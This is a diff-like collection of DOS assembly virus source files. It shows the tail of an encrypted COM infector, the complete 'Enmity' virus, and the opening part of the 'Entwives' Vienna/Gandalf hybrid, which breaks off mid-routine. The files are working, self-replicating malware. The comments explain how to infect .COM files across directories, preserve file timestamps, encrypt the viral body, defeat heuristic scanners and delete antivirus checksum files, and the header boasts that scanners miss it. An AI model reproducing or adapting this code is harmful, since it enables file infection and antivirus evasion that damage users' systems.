; ------------------------------------------------------------------------- ;
|
||||
|
||||
d_encd: lea si,[bp+thrbyte] ; what bytes to restore
|
||||
mov di,100h ; where to restore them
|
||||
push di ; push 100h on to stack
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
|
||||
lea dx,[bp+offset dta] ; where to put the DTA
|
||||
mov ah,1ah ; move the DTA
|
||||
int 21h ; it's moved now
|
||||
|
||||
mov ah,4eh ; find first file
|
||||
lea dx,[bp+comfile] ; with extension .com
|
||||
mov cx,7 ; possible attributes
|
||||
|
||||
find: int 21h ; find the file
|
||||
jc exit ; no files found, exit
|
||||
|
||||
lea dx,[bp+offset dta+1eh] ; get the file info
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; get them now
|
||||
push cx ; push the attributes
|
||||
push dx ; push the file name
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; set them now
|
||||
|
||||
mov ax,3d02h ; open the file
|
||||
int 21h ; it is open now
|
||||
xchg bx,ax ; move the info
|
||||
|
||||
mov ax,5700h ; get time / date
|
||||
int 21h ; we have them now
|
||||
push dx ; push the date
|
||||
push cx ; push the time
|
||||
|
||||
mov ah,3fh ; read from file
|
||||
lea dx,[bp+thrbyte] ; read into here
|
||||
mov cx,3 ; read three bytes
|
||||
int 21h ; got the first three
|
||||
|
||||
mov ax,word ptr [bp+dta+1ah] ; get file size
|
||||
mov cx,word ptr [bp+thrbyte+1] ; move thrbyte+1 into CX
|
||||
add cx,finished-start+3 ; get virus + jump size
|
||||
cmp ax,cx ; compare the two
|
||||
jz close ; if equal, close file
|
||||
cmp ax,1000 ; file is > then 1kb ?
|
||||
jb close ; to small, close it
|
||||
cmp ax,62000 ; file is < then 62kb ?
|
||||
ja close ; to big, close it up
|
||||
|
||||
sub ax,3 ; get size of main jump
|
||||
mov word ptr [bp+newjump+1],ax ; write it into newjump
|
||||
|
||||
mov ax,4200h ; scan to start of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to SOF
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+newjump] ; write the jump
|
||||
mov cx,3 ; # of bytes to write
|
||||
int 21h ; write them now
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to EOF
|
||||
|
||||
lea si,[bp+start] ; load the source index
|
||||
lea di,[bp+buffer] ; load the desination index
|
||||
mov cx,finished-start ; # of bytes to move
|
||||
rep movsb ; load it into memory
|
||||
|
||||
lea si,[bp+d_encd-start+buffer] ; load the source index
|
||||
mov cx,d_encr-d_encd ; # of bytes to encrypt
|
||||
mov di,si ; move SI into DI
|
||||
call d_encr ; encrypt 1st layer
|
||||
|
||||
lea di,[bp+encd-start+buffer] ; load the desination index
|
||||
mov si,di ; move it into SI
|
||||
mov cx,encr-encd ; # of bytes to encrypt
|
||||
call encr ; encrypt 2nd layer
|
||||
|
||||
mov ah,40h ; write to file
|
||||
mov cx,finished-start ; # of bytes to write
|
||||
lea dx,[bp+buffer] ; start of virus in mem
|
||||
int 21h ; write it now
|
||||
|
||||
close: mov ax,5701h ; set time / date
|
||||
pop cx ; pop the time
|
||||
pop dx ; pop the date
|
||||
int 21h ; restore time/date files
|
||||
|
||||
mov ax,4301h ; set attributes
|
||||
pop dx ; for this file
|
||||
pop cx ; with these attributes
|
||||
int 21h ; restore them now
|
||||
|
||||
mov ah,3eh ; close the file
|
||||
int 21h ; file is closed
|
||||
|
||||
mov ah,4fh ; find next file
|
||||
jmp find ; find it now
|
||||
|
||||
exit: mov ah,2ah ; get system time
|
||||
int 21h ; we have it now
|
||||
cmp al,004h ; is it tuesday?
|
||||
jne endit ; nope, end this
|
||||
|
||||
mov ah,09h ; print a message
|
||||
lea dx,[bp+pldmsg] ; our payload message
|
||||
int 21h ; print it now
|
||||
mov ah,00h ; wait for keypress
|
||||
int 16h ; anounce our presence
|
||||
|
||||
endit: mov ah,1ah ; set DTA location
|
||||
mov dx,80h ; to this location
|
||||
int 21h ; restore DTA
|
||||
retn ; return control to host
|
||||
|
||||
; ----------------------------( The Data Area )---------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
pldmsg db '',10,13
|
||||
db ' Infected with :: Enihcam :: written by KilJaeden of the Codebreakers 1998',10,13,'$'
|
||||
thrbyte db 0cdh,20h,0 ; terminates 1st gen
|
||||
newjump db 0e9h,0,0 ; blank jump 1st gen
|
||||
comfile db "*.com",0 ; extension to search for
|
||||
dta db 43 dup (?) ; space for DTA
|
||||
|
||||
; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
d_encr: lodsb ; load a byte
|
||||
xor al,0C4h ;------[1]
|
||||
neg al ;-----[2]
|
||||
ror al,4 ;----[3]
|
||||
not al ;---[4]
|
||||
rol al,4 ;--[5]
|
||||
neg al ;-[6] encryption/decryption
|
||||
rol al,4 ;--[5]
|
||||
not al ;---[4]
|
||||
ror al,4 ;----[3]
|
||||
neg al ;-----[2]
|
||||
xor al,0C4h ;------[1]
|
||||
stosb ; store the byte
|
||||
loop encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; --------------------( End Of 1st Encryption Blanket )-------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
encr: lodsb ; load a byte
|
||||
neg al ;------[1]
|
||||
ror al,4 ;-----[2]
|
||||
not al ;----[3]
|
||||
neg al ;---[4]
|
||||
rol al,4 ;--[5]
|
||||
xor al,0C4h ;-[6] encryption/decryption
|
||||
rol al,4 ;--[5]
|
||||
neg al ;---[4]
|
||||
not al ;----[3]
|
||||
ror al,4 ;-----[2]
|
||||
neg al ;------[1]
|
||||
stosb ; store the byte
|
||||
loop encr ; do all the bytes
|
||||
ret ; return from call
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
buffer: ; save our virus in mem
|
||||
finished: ; offset label for virus end
|
||||
|
||||
once: lea si,[bp+new] ; load source index
|
||||
lea di,[bp+decr] ; load destination index
|
||||
movsw ; move two bytes
|
||||
movsb ; move one byte
|
||||
jmp d_encd ; jump to encrypted area
|
||||
new: mov cx,encr-encd ; this replaces the jump
|
||||
|
||||
code ends ; end code segment
|
||||
end blank ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
@@ -0,0 +1,490 @@
|
||||
comment #
|
||||
|
||||
Enmity, by Lord Natas
|
||||
|
||||
Properties:
|
||||
|
||||
*COM infection (appending, nonresident)
|
||||
*antiheuristic code
|
||||
*no TBSCAN flags at time of release (second generation)
|
||||
*encryption (xor, random 16 bit key)
|
||||
*works with microsoft COM files (the ones with the stupid checksum)
|
||||
*infects all files in current directory, then in the upper directory,
|
||||
then in \, then in C:\WINDOWS\COMMAND.
|
||||
*preserves date, time, attributes
|
||||
*doesn't infect command.com, tb*.com files, or misnamed EXE files
|
||||
*removes scanner checksums
|
||||
|
||||
Scanning results:
|
||||
|
||||
FPROT(3): nothing
|
||||
AVP: nothing
|
||||
TBSCAN(WIN95): nothing
|
||||
FINDVIRUS: nothing
|
||||
DRWEB: nothing
|
||||
|
||||
Assemble with TASM.
|
||||
MASM produces errors (at least, the version I have)
|
||||
|
||||
#
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
jumps
|
||||
|
||||
org 100h
|
||||
|
||||
code_length equ end_virus-start
|
||||
|
||||
;----- fake host - a jump and infection mark
|
||||
|
||||
host:
|
||||
db 0e9h,0,0,'66'
|
||||
|
||||
start:
|
||||
call get_offset
|
||||
|
||||
;----- get the delta offset
|
||||
|
||||
get_offset:
|
||||
pop ax ;nice and (somewhat) anti-heuristic
|
||||
xchg cx,ax
|
||||
sub cx,offset get_offset
|
||||
xchg bp,cx
|
||||
|
||||
call decrypt
|
||||
|
||||
jmp short virus_start
|
||||
mov ax,4c00h ;this shuts-up findvirus
|
||||
int 21h
|
||||
|
||||
virus_start:
|
||||
push 1a01h ;!heuristic killer!
|
||||
push 100h
|
||||
lea si,[bp+oldbytes]
|
||||
pop di
|
||||
movsw ;move 5 bytes to 0100h
|
||||
movsw
|
||||
movsb
|
||||
|
||||
;----- move the DTA to the end
|
||||
|
||||
lea dx,[bp+dta] ;store in dta
|
||||
pop ax
|
||||
dec ax ;!heuristic killer!
|
||||
int 21h
|
||||
|
||||
;----- save our current directory
|
||||
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,[bp+old_dir] ;store in old_dir
|
||||
int 21h
|
||||
|
||||
;----- find *.COM files
|
||||
|
||||
call killer
|
||||
call findfirst
|
||||
|
||||
find_file:
|
||||
int 21h
|
||||
jc try_updir ;if error jump
|
||||
|
||||
call infect ;else infect
|
||||
|
||||
find_next:
|
||||
mov ah,4fh ;find next file
|
||||
jmp short find_file
|
||||
|
||||
try_updir:
|
||||
mov ah,3bh
|
||||
lea dx,[bp+higher_dir] ;change dir up
|
||||
int 21h
|
||||
jc is_root
|
||||
|
||||
call killer
|
||||
call findfirst
|
||||
|
||||
find_updir:
|
||||
int 21h
|
||||
jc is_root ;if none, exit
|
||||
call infect ;else infect
|
||||
mov ah,4fh ;find next
|
||||
jmp short find_updir
|
||||
|
||||
is_root:
|
||||
mov ah,47h
|
||||
xor dl,dl
|
||||
lea si,[bp+dir_chk] ;store in dir_chk
|
||||
int 21h
|
||||
|
||||
cmp byte ptr [bp+dir_chk],0
|
||||
je try_win
|
||||
|
||||
try_root:
|
||||
mov ah,3bh
|
||||
lea dx,[bp+root] ;change dir to root ('\')
|
||||
int 21h
|
||||
jc try_win
|
||||
|
||||
call killer
|
||||
call findfirst
|
||||
|
||||
find_root:
|
||||
int 21h
|
||||
jc try_win ;if none, exit
|
||||
call infect ;else infect
|
||||
mov ah,4fh ;find next
|
||||
jmp short find_root
|
||||
|
||||
try_win:
|
||||
mov ah,3bh
|
||||
lea dx,[bp+win_command] ;change dir to command
|
||||
int 21h
|
||||
jc done_files
|
||||
|
||||
call killer
|
||||
call findfirst
|
||||
|
||||
find_win:
|
||||
int 21h
|
||||
jc done_files ;if none, exit
|
||||
call infect ;else infect
|
||||
mov ah,4fh ;find next
|
||||
jmp short find_win
|
||||
|
||||
done_files:
|
||||
mov ah,3bh ;change back to old_dir
|
||||
lea dx,[bp+old_dir]
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ;get time
|
||||
int 21h
|
||||
|
||||
cmp dx,5 ;is it time to activate?
|
||||
ja fix_dta ;no? return to host
|
||||
|
||||
begin:
|
||||
mov ax,13 ;put video in mode 13
|
||||
int 10h
|
||||
|
||||
lea si,[bp+msg]
|
||||
|
||||
print_lp:
|
||||
cld ;clear direction flag (left
|
||||
lodsb ;to right)
|
||||
or al,al ;check for text end
|
||||
jz fix_1
|
||||
mov ah,0eh ;write char
|
||||
xor bh,bh ;page 0
|
||||
mov bl,5 ;color 5 -> magenta
|
||||
int 10h
|
||||
jmp short print_lp
|
||||
|
||||
fix_1:
|
||||
xor ax,ax ;wait for key
|
||||
int 16h
|
||||
|
||||
mov ax,03h ;restore to textmode
|
||||
int 10h
|
||||
|
||||
;----- reset DTA
|
||||
|
||||
fix_dta:
|
||||
push 1a00h ;fix dta
|
||||
mov dx,80h
|
||||
pop ax
|
||||
int 21h
|
||||
|
||||
;----- clean up
|
||||
|
||||
xor ax,ax
|
||||
mov bx,ax
|
||||
mov cx,ax
|
||||
mov dx,ax
|
||||
mov di,ax
|
||||
mov bp,ax
|
||||
mov si,0101h ;special gift for TBAV
|
||||
|
||||
;----- restore control to cs:0100h
|
||||
|
||||
dec si
|
||||
push si ;put 100h on stack so virus
|
||||
ret ;jumps to host
|
||||
|
||||
;----- check name
|
||||
|
||||
infect:
|
||||
cmp word ptr [bp+dta+1eh+5], "DN" ;commaND
|
||||
je return
|
||||
|
||||
cmp word ptr [bp+dta+1eh], "BT" ;TBdel
|
||||
je return
|
||||
|
||||
mov cx,13d ;max file length
|
||||
lea si,[bp+dta+1eh] ;filename in dta
|
||||
compare:
|
||||
lodsb ;get byte
|
||||
cmp al,"." ;is it "."?
|
||||
jne compare ;no, compare
|
||||
cmp byte ptr [si],"C" ;is is *.C?
|
||||
jne return ;no, return
|
||||
|
||||
;----- save attributes,time,date,size
|
||||
|
||||
mov cx,5 ;5 bytes
|
||||
lea si,[bp+dta+15h] ;point to the dta
|
||||
lea di,[bp+f_attr] ;move to f_attr
|
||||
rep movsb
|
||||
|
||||
;----- remove attributes
|
||||
|
||||
mov ax,4301h
|
||||
xor cx,cx ;no attribute
|
||||
lea dx,[bp+dta+1eh] ;point to name in dta
|
||||
int 21h
|
||||
|
||||
;----- open file for read/write
|
||||
|
||||
push 3d04h ;!heuristic killer!
|
||||
lea dx,[bp+dta+1eh] ;filename in dta
|
||||
pop cx
|
||||
sub cx,2
|
||||
xchg ax,cx
|
||||
int 21h
|
||||
|
||||
xchg bx,ax ;put handle in bx
|
||||
push 3f00h ;!heuristic killer!
|
||||
|
||||
;----- read 1st five bytes
|
||||
|
||||
mov cx,5
|
||||
lea dx,[bp+oldbytes] ;store in oldbytes
|
||||
pop ax
|
||||
int 21h
|
||||
|
||||
;----- check for misnamed .EXE (fuck you microsoft) - anti-heuristic
|
||||
|
||||
mov ax,word ptr [bp+oldbytes]
|
||||
add ax,0101h
|
||||
|
||||
cmp word ptr ax,'[N' ;check first 2 bytes
|
||||
je close_file
|
||||
|
||||
cmp word ptr ax,'N['
|
||||
je close_file
|
||||
|
||||
;----- check for infection mark
|
||||
|
||||
cmp word ptr [bp+oldbytes+3],'66' ;look for 66
|
||||
je close_file
|
||||
|
||||
;----- check size - if > 60000 then close
|
||||
|
||||
cmp word ptr [bp+dta+1ah], 60000
|
||||
ja close_file
|
||||
|
||||
;----- seek to eof - 7
|
||||
|
||||
mov ax,4202h
|
||||
mov cx,-1
|
||||
mov dx,-7
|
||||
int 21h
|
||||
|
||||
;----- (eof-7)+7=eof
|
||||
|
||||
mov cx,7
|
||||
add ax,cx
|
||||
|
||||
;----- calculate jump
|
||||
|
||||
sub ax,3
|
||||
mov word ptr [bp+jump_bytes+1],ax
|
||||
|
||||
;----- read 7 bytes
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,7
|
||||
lea dx,[bp+buffer]
|
||||
int 21h
|
||||
|
||||
;----- add virus size to checksum
|
||||
|
||||
add word ptr [bp+buffer+5],code_length
|
||||
|
||||
;----- make new key
|
||||
|
||||
push 4000h
|
||||
mov ah,2ch ;get time
|
||||
int 21h
|
||||
mov word ptr [bp+key1],dx ;use seconds + hundreths
|
||||
|
||||
;----- write unencrypted portion
|
||||
|
||||
mov cx,virus_start-start
|
||||
lea dx,[bp+start]
|
||||
pop ax
|
||||
int 21h
|
||||
|
||||
;----- encrypt & move
|
||||
|
||||
push 4001h
|
||||
mov cx,(key1-virus_start+1)/2 ;length of code
|
||||
mov dx,word ptr [bp+key1] ;key
|
||||
lea si,[bp+virus_start] ;source: virus start
|
||||
lea di,[bp+crypt_buffr] ;destination: buffer
|
||||
xor_loop2:
|
||||
lodsw ;get byte from source
|
||||
xor ax,dx ;xor it
|
||||
stosw ;move it to destination
|
||||
loop xor_loop2
|
||||
|
||||
;----- write encrypted shit
|
||||
|
||||
mov cx,key1-virus_start
|
||||
lea dx,[bp+crypt_buffr]
|
||||
pop ax ;!heuristic killer!
|
||||
dec ax
|
||||
push 4000h
|
||||
int 21h
|
||||
|
||||
;----- write more unencrypted shit
|
||||
|
||||
mov cx,f_attr-key1 ;this is the decryptor and
|
||||
lea dx,[bp+key1] ;other stuff that remains
|
||||
pop ax ;unencrypted
|
||||
int 21h
|
||||
|
||||
;----- seek to start of file
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
cwd
|
||||
push 4000h
|
||||
int 21h
|
||||
|
||||
;----- write the jump
|
||||
|
||||
mov cx,5
|
||||
lea dx,[bp+jump_bytes]
|
||||
pop ax ;!heuristic killer!
|
||||
int 21h
|
||||
close_file:
|
||||
|
||||
;----- restore date/time
|
||||
|
||||
push 5701h
|
||||
mov cx,word ptr [bp+f_time]
|
||||
mov dx,word ptr [bp+f_date]
|
||||
pop ax ;!heuristic killer!
|
||||
int 21h
|
||||
|
||||
;----- close file
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
;----- restore attributes
|
||||
|
||||
mov ax,4302h
|
||||
xor ch,ch
|
||||
mov cl,byte ptr [bp+f_attr] ;old attributes
|
||||
lea dx,[bp+dta+1eh] ;filename in dta
|
||||
int 21h
|
||||
return:
|
||||
ret
|
||||
|
||||
;----- checksum deletion
|
||||
|
||||
killer:
|
||||
|
||||
lea dx,[bp+tbsum] ;pont to name
|
||||
call kill_bad_file ;kill it
|
||||
|
||||
lea dx,[bp+pcsum1]
|
||||
call kill_bad_file
|
||||
|
||||
lea dx,[bp+pcsum2]
|
||||
call kill_bad_file
|
||||
|
||||
lea dx,[bp+ivsum]
|
||||
call kill_bad_file
|
||||
|
||||
ret
|
||||
|
||||
;----- delete bad files - input: DS:DX = to kill
|
||||
|
||||
kill_bad_file:
|
||||
mov ax,4301h
|
||||
xor cx,cx ;no attribute
|
||||
int 21h
|
||||
|
||||
mov ah,41h ;delete
|
||||
int 21h
|
||||
clc ;clear carry
|
||||
ret
|
||||
|
||||
findfirst:
|
||||
mov ah,4eh
|
||||
mov cx,0007h ;all attributes
|
||||
lea dx,[bp+comspec] ;comspec = filemask
|
||||
ret
|
||||
|
||||
;----- data area 1
|
||||
|
||||
msg db 'Enmity',13,10,0
|
||||
db 'by Lord Natas',0
|
||||
|
||||
comspec db '*.*OM',0 ;file search mask
|
||||
win_command db 'C:\WINDOWS\COMMAND',0 ;target directory
|
||||
root db '\',0 ;another target
|
||||
higher_dir db '..',0 ;yet another
|
||||
tbsum db 'ANTI-VIR.DAT',0 ;checksums to delete
|
||||
pcsum1 db 'CHKLIST.MS',0
|
||||
pcsum2 db 'CHKLIST.CPS',0
|
||||
ivsum db 'IVB.NTZ',0
|
||||
oldbytes db 90h,90h,90h,0cdh,20h ;host bytes
|
||||
jump_bytes db 0e9h,0,0,'66' ;the jump to write
|
||||
key1 dw ? ;encryption key
|
||||
|
||||
;----- simple xor encryption, TBAV screwing loop
|
||||
|
||||
decrypt:
|
||||
mov cx,(key1-virus_start+1)/2 ;code length
|
||||
mov dx,word ptr [bp+key1] ;key
|
||||
lea si,[bp+virus_start] ;source of code
|
||||
mov di,si ;to decrypt
|
||||
xor_loop:
|
||||
lodsw
|
||||
jmp short fake2
|
||||
fake1:
|
||||
stosw
|
||||
jmp short fake3
|
||||
fake2:
|
||||
xor ax,dx
|
||||
jmp short fake1
|
||||
fake3:
|
||||
loop xor_loop
|
||||
ret
|
||||
|
||||
;----- data area 2 - stuff for microsoft's lame checksums
|
||||
|
||||
buffer db 5 dup (?) ;buffer = eof-2
|
||||
size_checksum db 2 dup (90h) ;checksum for microsoft coms
|
||||
|
||||
end_virus:
|
||||
|
||||
;----- this is not written to disk, thus saving much space
|
||||
|
||||
f_attr db ? ;file attribute
|
||||
f_time dw ? ;file time
|
||||
f_date dw ? ;file date
|
||||
old_dir db 64 dup (?) ;old directory name
|
||||
dta db 48 dup (?) ;DTA storage
|
||||
dir_chk db 64 dup (?) ;for dir checking
|
||||
|
||||
;----- temp buffer for encryption
|
||||
|
||||
crypt_buffr db end_virus - virus_start dup (?)
|
||||
end host
|
||||
@@ -0,0 +1,776 @@
|
||||
; Entwives: Two-in-one by Ender
|
||||
; This virus is a combination of a G^2 COM infector, called Gandalf and
|
||||
; the popular Vienna strain. This virus runs the Vienna code 7/8
|
||||
; times and the Gandalf code the remaining 1/8. The Vienna viral code
|
||||
; should load the infected file with Vienna and Gandalf while the
|
||||
; Gandalf code will only load itself into the file.
|
||||
; Please note that McAfee shows Lisbon and 1014 virus when scanning
|
||||
; a file infected by this virus. Gandalf is invisible. At least on
|
||||
; an older version it is.
|
||||
;------------------------------------------------------------------------------
|
||||
|
||||
; First is Vienna
|
||||
; ~~~~~~~~~~~~~~~
|
||||
|
||||
.model tiny
|
||||
|
||||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG $+0100H
|
||||
|
||||
;*****************************************************************************
|
||||
;Start out with a JMP around the remains of the original .COM file, into the
|
||||
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
|
||||
;The rest of the file (first 3 bytes) are stored in the virus data area.
|
||||
;*****************************************************************************
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
;This was the rest of the original .COM file. Tiny and simple, this time
|
||||
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
|
||||
;************************************************************
|
||||
; The actual virus starts here
|
||||
;************************************************************
|
||||
|
||||
v_start equ $
|
||||
|
||||
virus:
|
||||
; ******************************************************************
|
||||
; Determine which Viral code to use
|
||||
; BY
|
||||
; Getting current system time
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,2CH
|
||||
INT 21H
|
||||
|
||||
AND DH,7 ;Last 3 bits 0? (once in eight)
|
||||
JNZ actvir ; If 7/8 use Vienna code
|
||||
JMP carrier ; If 1/8 use Gandalf code
|
||||
|
||||
;*******************************************************************
|
||||
; This is the special "one in eight" infection. If the above line were in
|
||||
; its original form, the Gandalf code would be run 1/8 of the time, and
|
||||
; rather than appending a copy of Vienna+Gandalf virus to the .COM file,
|
||||
; the file would get the Gandalf virus. Why? Just for the Hell of it!
|
||||
;*******************************************************************
|
||||
|
||||
actvir: PUSH CX
|
||||
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
|
||||
; The 2nd and 3rd bytes get modified.
|
||||
CLD ;Pointers will be auto INcremented
|
||||
MOV SI,DX ;Access data as offset from SI
|
||||
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
|
||||
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
|
||||
MOV CX,3
|
||||
REPZ MOVSB ;Restore original first 3 bytes of .COM
|
||||
MOV SI,DX ;Keep SI pointing to the data area
|
||||
|
||||
;*************************************************************
|
||||
; Get DTA address into ES:BX
|
||||
;*************************************************************
|
||||
|
||||
PUSH ES
|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
|
||||
;*************************************************************
|
||||
; Save the DTA address
|
||||
;*************************************************************
|
||||
|
||||
MOV [SI+old_dta],BX
|
||||
MOV [SI+old_dts],ES ;Save the DTA address
|
||||
|
||||
POP ES
|
||||
|
||||
;*************************************************************
|
||||
; Set DTA to point inside the virus data area
|
||||
;*************************************************************
|
||||
|
||||
MOV DX,dta ;Offset of new DTA in virus data area
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;Compute DTA address
|
||||
MOV AH,1AH
|
||||
INT 21H ;Set new DTA to inside our own code
|
||||
|
||||
PUSH ES
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH
|
||||
MOV DI,0 ;ES:DI points to environment
|
||||
|
||||
;************************************************************
|
||||
; Find the "PATH=" string in the environment
|
||||
;************************************************************
|
||||
|
||||
find_path:
|
||||
POP SI
|
||||
PUSH SI ;Get SI back
|
||||
ADD SI,env_str ;Point to "PATH=" string in data area
|
||||
LODSB
|
||||
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
|
||||
REPNZ SCASB ;Search for first character
|
||||
MOV CX,4
|
||||
|
||||
;************************************************************
|
||||
; Loop to check for the next four characters
|
||||
;************************************************************
|
||||
|
||||
check_next_4:
|
||||
LODSB
|
||||
SCASB
|
||||
JNZ find_path ;If not all there, abort & start over
|
||||
LOOP check_next_4 ;Loop to check the next character
|
||||
|
||||
POP SI
|
||||
POP ES
|
||||
MOV [SI+path_ad],DI ;Save the address of the PATH
|
||||
MOV DI,SI
|
||||
ADD DI,wrk_spc ;File name workspace
|
||||
MOV BX,SI ;Save a copy of SI
|
||||
ADD SI,wrk_spc ;Point SI to workspace
|
||||
MOV DI,SI ;Point DI to workspace
|
||||
JMP SHORT slash_ok
|
||||
|
||||
;**********************************************************
|
||||
; Look in the PATH for more subdirectories, if any
|
||||
;**********************************************************
|
||||
|
||||
set_subdir:
|
||||
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
|
||||
JNZ found_subdir ;If not, there are more subdirectories
|
||||
JMP all_done ;Else, we're all done
|
||||
|
||||
;**********************************************************
|
||||
; Here if there are more subdirectories in the path
|
||||
;**********************************************************
|
||||
|
||||
found_subdir:
|
||||
PUSH DS
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH ;DS points to environment segment
|
||||
MOV DI,SI
|
||||
MOV SI,ES:[DI+path_ad] ;SI = PATH address
|
||||
ADD DI,wrk_spc ;DI points to file name workspace
|
||||
|
||||
;***********************************************************
|
||||
; Move subdirectory name into file name workspace
|
||||
;***********************************************************
|
||||
|
||||
move_subdir:
|
||||
LODSB ;Get character
|
||||
CMP AL,';' ;Is it a ';' delimiter?
|
||||
JZ moved_one ;Yes, found another subdirectory
|
||||
CMP AL,0 ;End of PATH string?
|
||||
JZ moved_last_one ;Yes
|
||||
STOSB ;Save PATH marker into [DI]
|
||||
JMP SHORT move_subdir
|
||||
|
||||
;******************************************************************
|
||||
; Mark the fact that we're looking through the final subdirectory
|
||||
;******************************************************************
|
||||
|
||||
moved_last_one:
|
||||
MOV SI,0
|
||||
|
||||
;******************************************************************
|
||||
; Here after we've moved a subdirectory
|
||||
;******************************************************************
|
||||
|
||||
moved_one:
|
||||
POP BX ;Pointer to virus data area
|
||||
POP DS ;Restore DS
|
||||
MOV [BX+path_ad],SI ;Address of next subdirectory
|
||||
NOP
|
||||
|
||||
;******************************************************************
|
||||
; Make sure subdirectory ends in a "\"
|
||||
;******************************************************************
|
||||
|
||||
CMP CH,'\' ;Ends with "\"?
|
||||
JZ slash_ok ;If yes
|
||||
MOV AL,'\' ;Add one, if not
|
||||
STOSB
|
||||
|
||||
;******************************************************************
|
||||
; Here after we know there's a backslash at end of subdir
|
||||
;******************************************************************
|
||||
|
||||
slash_ok:
|
||||
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
|
||||
MOV SI,BX ;Restore SI
|
||||
ADD SI,f_spec ;Point to "*.COM"
|
||||
MOV CX,6
|
||||
REPZ MOVSB ;Move "*.COM",0 to workspace
|
||||
|
||||
MOV SI,BX
|
||||
|
||||
;*******************************************************************
|
||||
; Find first string matching *.COM
|
||||
;*******************************************************************
|
||||
|
||||
MOV AH,4EH
|
||||
MOV DX,wrk_spc
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;DX points to "*.COM" in workspace
|
||||
MOV CX,3 ;Attributes of Read Only or Hidden OK
|
||||
INT 21H
|
||||
|
||||
JMP SHORT find_first
|
||||
|
||||
;*******************************************************************
|
||||
; Find next ASCIIZ string matching *.COM
|
||||
;*******************************************************************
|
||||
|
||||
find_next:
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
|
||||
find_first:
|
||||
JNB found_file ;Jump if we found it
|
||||
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
||||
|
||||
;*******************************************************************
|
||||
; Here when we find a file
|
||||
;*******************************************************************
|
||||
|
||||
found_file:
|
||||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||||
AND AL,1FH ;Mask to remove all but seconds
|
||||
CMP AL,1FH ;62 seconds -> already infected
|
||||
JZ find_next ;If so, go find another file
|
||||
|
||||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
|
||||
JA find_next ;If too long, find another one
|
||||
|
||||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||||
JB find_next ;Then go find another one
|
||||
|
||||
MOV DI,[SI+nam_ptr] ;DI points to file name
|
||||
PUSH SI ;Save SI
|
||||
ADD SI,dta_nam ;Point SI to file name
|
||||
|
||||
;********************************************************************
|
||||
; Move the name to the end of the path
|
||||
;********************************************************************
|
||||
|
||||
more_chars:
|
||||
LODSB
|
||||
STOSB
|
||||
CMP AL,0
|
||||
JNZ more_chars ;Move characters until we find a 00
|
||||
|
||||
;********************************************************************
|
||||
; Get File Attributes
|
||||
;********************************************************************
|
||||
|
||||
POP SI
|
||||
MOV AX,OFFSET 4300H
|
||||
MOV DX,wrk_spc ;Point to \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI
|
||||
INT 21H
|
||||
|
||||
MOV [SI+old_att],CX ;Save the old attributes
|
||||
|
||||
;********************************************************************
|
||||
; Rewrite the attributes to allow writing to the file
|
||||
;********************************************************************
|
||||
|
||||
MOV AX,OFFSET 4301H ;Set attributes
|
||||
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
|
||||
MOV DX,wrk_spc ;Offset of \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
ADD DX,SI ;Point to \path\name
|
||||
INT 21H
|
||||
|
||||
;********************************************************************
|
||||
; Open Read/Write channel to the file
|
||||
;********************************************************************
|
||||
|
||||
MOV AX,OFFSET 3D02H ;Read/Write
|
||||
MOV DX,wrk_spc ;Offset to \path\name in workspace
|
||||
; NOP ;MASM will add this NOP here
|
||||
